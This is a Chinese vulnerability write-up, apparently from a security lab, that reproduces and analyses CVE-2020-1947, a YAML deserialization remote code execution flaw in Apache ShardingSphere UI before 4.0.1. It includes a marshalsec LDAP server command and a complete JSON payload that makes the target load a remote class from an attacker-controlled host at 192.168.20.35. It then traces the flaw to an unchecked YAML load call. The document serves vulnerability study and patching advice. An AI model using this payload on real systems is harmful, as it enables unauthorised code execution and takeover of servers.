在2020年3月9日,Apache官方公开了一个远程代码执行漏洞,编号CVE-2020-1947,攻击者可以利用此漏洞执行任意代码,甚至完全控制目标主机,借着POC已被公开的机会,本期美创安全实验室带大家一起分析一波这个漏洞的成因以及POC工作原理。
此次的漏洞发生在Apache基金会下面的一个名叫Apache ShardingSphere项目上,这个Apache ShardingSphere其实是一套由开源的分布式数据库中间件解决方案组成的生态圈,其中包含几个比较重要的独立产品:Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar。这些相互独立的产品均提供了标准化的数据分片、分布式事务和数据库治理的功能。
产品的设计固然是好的,但这次问题出现在ShardingSphere在解析某一文件(snakeyaml)时没有对其进行校验,因此出现了反序列化漏洞,从而导致可以允许用户提交恶意代码并执行的情况发生。
本次漏洞影响了整个生态圈中大多数的组件,如Sharding-JDBC、Sharding-Proxy、Sharding-UI等,影响的版本包括了小于4.0.1版本的所有Apache ShardingSphere而4.0.1版本并不受影响,因此在开始之前先提醒各位,如果有使用上述产品的请尽快升级到最新版本。
( 1 ) 搭建环境
首先从apache官网下载ShardingSphere产品,一定要下载4.0.1以前的版本。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
将压缩包解压后,进入bin目录,直接运行start.sh
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
直接访问127.0.0.1:8088端口,输入默认用户名和密码:admin/admin,即可进入前端页面。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
在注册中心页面中,添加一个zookeeper服务端,并与其连接,至此漏洞环境已经搭建完成了。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
( 2 ) 构建EXP
新建一个JAVA文件,构建一个能触发反序列化的EXP,能够执行任意指令,这里我们让其执行新建一个文件名为CVE-2020-1947的命令。根据普通的反序列exp稍微修改一下即可。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
将刚刚生成的java文件进行编译,生成.class文件。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
在此目录下利用Python启动一个简易的HTTPServer服务,其他机器访问8000端口就可访问到上面生成的exp。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
开启了HTTPServer服务后,还需要启动IDAP服务,这里我利用了marshalsec工具,执行以下命令,开启idap:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer http://192.168.20.35:8000/
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
( 3 ) 触发漏洞
这个漏洞的触发点在配置管理页面中的添加功能上,点击添加功能,可以配置刚刚注册的zookeeper,随意输入一些参数,点击提交并抓包。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
抓包后,将下面的参数替换为网上给出的poc,如下:
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:n encryptor_aes:n type: aesn props:n aes.key.value: 123456abcn encryptor_md5:n type: md5n tables:n t_encrypt:n columns:n user_id:n plainColumn: user_plainn cipherColumn: user_ciphern encryptor: encryptor_aesn order_id:n cipherColumn: order_ciphern encryptor: encryptor_md5",
"dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpln dataSourceName: ldap://192.168.20.35:1389/ExportObjectn autoCommit: true"
}
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
此时已经成功触发了exp,执行了我们之前写好的代码“touch /tmp/CVE-2020-1947”,回到被控机上进行检查,果然出现了这个文件,证明漏洞触发成功。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
根据对漏洞POC的抓包我们可以知道,此漏洞的触发点在/api/schema上,且是POST方法提交。因此我们搜索其源码,找到控制着schema的控制器源码
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
在ShardingSchemaController.java中,根据处理POST请求的条件,定位到如下的源码,分析其代码可以发现,此函数执行了一个
shardingSchemaService.addSchemaConfiguration函数。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
ui->service->impl->ShardingSchemaServiceImpl.java
中定位到了此函数的处理方法。此函数接收三个参数,schemaName、ruleConfiguration、dataSourceConfiguration正好就是我们所输入的poc参数,分析POC可以发现,触发exp的参数是第三个,所以我们主要关注处理第三个参数的函数checkDataSourceConfiguration()。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
继续根据这个函数checkDataSourceConfigure,还是在这个文件中找到了这个函数的处理方式,此函数将之前接收到的参数执行了一个新的函数
ConfigurationYamlConverter.loadDataSourceConfigurations()。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
继续跟进这个函数ConfigurationYamlConverter.
loadDataSourceConfigurations,可以看到该函数会调用YamlEngine.unmarshal去处理数据,继续跟进这个函数就可以到达最终的反序列化漏洞点了。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
下图为unmarsha函数的代码,可以很明显的看出yaml直接通过new Yaml().load()来加载yaml,此函数并没考虑恶意加载的情况,攻击者可以直接通过这个方法导致反序列恶意类被加载。因此我们可以构建上一部分的exp代码,触发该反序列漏洞,造成任意命令执行。
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
![Apache ShardingShpere漏洞分析与复现 Apache ShardingShpere漏洞分析与复现]()
本文始发于微信公众号(网络安全应急技术国家工程实验室):Apache ShardingShpere漏洞分析与复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/168707.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论